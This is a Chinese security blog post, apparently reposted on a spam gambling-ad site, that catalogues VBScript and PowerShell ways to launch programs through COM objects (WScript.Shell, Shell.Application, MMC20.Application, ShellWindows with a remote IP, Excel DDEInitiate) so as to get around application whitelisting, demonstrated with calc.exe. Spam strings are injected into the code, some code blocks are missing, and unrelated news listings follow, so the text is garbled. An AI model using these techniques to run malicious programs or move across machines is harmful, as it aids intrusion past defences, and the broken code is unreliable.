? 捡拾VBS应用层里的明珠_CQITer_重庆IT人之家 亚博APP入口,亚博vip体育官网,yabo88亚博app ?

捡拾VBS应用层里的明珠

袁哥以前提出了一个很有深度的观点,VBS脚本代码是本身没有指针概念的,不过指针的本质就是数组。本着这一指导思想,他打开了VBS的上帝模式,在VBS虚拟机的软件栈中捞到了“失落的魔戒”。

CVE-2013-3918、CVE-2014-6332(那个通杀全IE版本的网马),都是用的dve数据虚拟执行技术对抗dep+aslr+emet+cfi。如果袁哥是在VBS的底层中操作,那么国外黑客enigma0x3一直在应用层中寻找那些失落的明珠,寻找了很多方法来进行白名单执行恶意程序的操作。在enigma0x3的博客中,他给出了3个利用脚本组件执行程序的名单,不过很可惜,他只给了powershell的代码,并没有给出vbs、asp、aspx之类的代码。我研究了一下,又归纳总结,这篇文章我给出vbs利用七种不同组件执行程序的多种方法。

一、老生常谈的用WScript.Shell组件执行程序的方法

大家都知道的vbs用WScript.Shell来执行程序的方法,有run和exec函数的(有些区别),代码如下:

set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "calc.exe" WshShell.exec("calc.exe") 二、稍为进一层,用Shell.Application组件来执行程序,它有5种方法的,代码如下: Set objShellApp = CreateObject("Shell.Application") Set objFolder = objShellApp.NameSpace("c:\windows\system32\") objFolder.Items().亚博APP入口em("calc.exe").invokeverb '方法1 objFolder.Items().亚博APP入口em("calc.exe").InvokeVerbEx'方法2 objShellApp.Open("C:\windows\system32\calc.exe") '方法3 objShellApp.ShellExecute "calc.exe","","c:\windows\system32\","","1" '方法4,可以加参数和设置参数值 ?'方法5 Set objFolderItem = objShellApp.NameSpace("C:\windows\system32").Items().item("calc.exe") Set objFIVs = objFolderItem.Verbs() For i=0 To objFIVs.Count - 1 ? ? 'MsgBox objFIVs.Item(i) Set objFIV = objFIVs.Item(i) If objFIV.Name = "打开(&O)" Then '右键菜单中在中文系统是"打开(&O)",英文自己改 ? ? ? ? objFIV.DoIt ? ? ? ? Exit For ? ?End IF Next 三、利用MMC20.Application组件来执行程序,代码如下: Set oHttp = CreateObject("MMC20.Application"):?a=oHttp.Document.ActiveView.ExecuteShellCommand("calc.exe","d:\","","Minimized")

ExecuteShellCommand的参数如下:

View.ExecuteShellCommand( _

ByVal Command As String, _

ByVal Directory As String, _

ByVal Parameters As String, _

ByVal WindowState As String _

)

由于此vbs代码本身需要管理员权限才能执行,所以我也未更改为asp或aspx代码。

四、利用ShellWindows组件来执行程序

这个就很有意思了,因为ShellWindows在注册表中只有classid,并没有progid,所以在vbs里你正常用Set xx = CreateObject(“ShellWindows”)是成功不了的。enigma0x3使用的是Type.GetTypeFromCLSID .NET方法与Activator.CreateInstance方法配对,从而在powershell下完成,代码是:

$com=[type]::gettypefromclsid('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.100")? $obj=[system.activator]::createinstance($com)? $item=$obj.item()? $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

我们在vbs中就没有办法完成了吗?是可以的。还有一种文件格式后缀为wsf,在wsf中就可以直接调用classid了,有了wsf文件,你完全可以调用没有progid的组件,这会给你的vbs应用打开了另一扇门,代码如下:

?

我又把它转为了aspx,代码如下:

<%@ Page Language="C#" %> <%@ Import Namespace="System.Reflection" %> ?
?
?
?

很可惜,在当前的IIS权限下仍然不成功,需要高权限的IIS才能在进程中弹出计算器。

五、利用ShellBrowserWindow来执行程序

这个代码和上边的类似,所以不再赘述,我们仍然可以用wsf后缀的文件实现我们的功能

? 六、利用Excel组件DDEInitiate和RegisterXL 来执行程序的方法

‘vbs

Set obj = CreateObject("Excel.Application") Obj.DisplayAlerts = false Obj.DDEInitiate "cmd", "/c calc.exe"
相关推荐
新闻聚焦
猜你喜欢
热门推荐
  • 全球最聪明的大脑怎么看AI?他们预测了

      2017年AI领域取得了诸多成果。2018年AI又将何去何从?以下是来自世界顶级研究人员和行业领军人物对2018年AI领域发展作......

    02-20????来源:虎嗅网

    分享
  • 2017JavaScript框架战报 - React分战场

      我们来看看与React有关的软件包的生态系统。当Facebook构建React时,就有许多来自开源社区的第三方软件包。为提供完......

    02-27????来源:湖北新闻网

    分享
  • 小白学数据:教你用Python实现简单监督学

      监督学习作为运用最广泛的机器学习方法,一直以来都是从数据挖掘信息的重要手段。即便是在无监督学习兴起的近......

    03-05????来源:今日头条

    分享
  • 央企Car Hacking Team诚招各路安全大咖

      传统安全行业做腻了?这里有新鲜、有趣、好玩的岗位等你来挑战!“数”驱产业变革“智”领汽车未来中国汽车技......

    02-24????来源:西安新闻网

    分享
  • 轻量web日志扫描工具 xlog

      一、介绍用过二进制扫描工具yara的安全人,都喜欢其简洁的语法,其规则由字符串和布尔型表达式组成,可用于标示某......

    02-08????来源:金华新闻网

    分享
  • 谈谈从连接池到内存池

      AI赋能万物,老码农的伙伴们也曾经开发了一个基于图数据库的知识问答系统,在压力测试的时候发现随着并发数的增......

    02-21????来源:西安新闻网

    分享
  • 【微博直播中】盘古越狱团队主办:第一

      微博直播传送门http://weibo.com/fbliveMOSEC移动安全技术峰会由盘古团队和POC共同举办,第一届会议于2015年在中国上海举办......

    03-18????来源:永川新闻网

    分享
  • Dgraph宣布其第一个生产就绪图数据库发布

      从2015年的只有一个贡献者开始,开源图数据库Dgraph在过去两年已经有了46个贡献者,2190个GitHub提交,277个分支和25次......

    03-18????来源:东北新闻网

    分享
  • 法媒谈中国入足吉布提港:海洋战略兵家

      法媒称,法国和美国的海军刚刚结束在吉布提塔朱拉海湾的联合军事训练。法新社称,这表明,世界各大国,包括中......

    04-05????来源:新浪新闻

    分享
  • IT168文库APP上线,文末三重好礼送不停!

      随着信息技术的发展,IT从业者成为了市场的宠儿,程序员更是成为了高薪的代名词。当越来越多的人选择进入IT行业......

    02-03????来源:玉林新闻网

    分享
返回列表
Ctrl+D?将本页面保存为书签,全面了解最新资讯,方便快捷。